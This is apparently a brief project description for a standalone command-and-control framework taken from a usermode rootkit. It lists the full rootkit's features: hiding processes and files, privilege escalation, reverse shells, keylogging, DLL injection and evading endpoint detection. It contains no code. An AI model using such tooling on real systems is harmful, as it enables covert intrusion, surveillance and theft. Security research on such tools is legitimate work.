This C2 framework is extracted from the XvX Usermode Rootkit project. The full rootkit version includes a more complete C2 with over 15 commands, including process/file/registry hiding, SYSTEM privilege escalation, interactive reverse shells, keylogger functionality, DLL injection, and EDR evasion techniques. This standalone version provides the core C2 infrastructure for educational purposes and easy integration into custom projects.
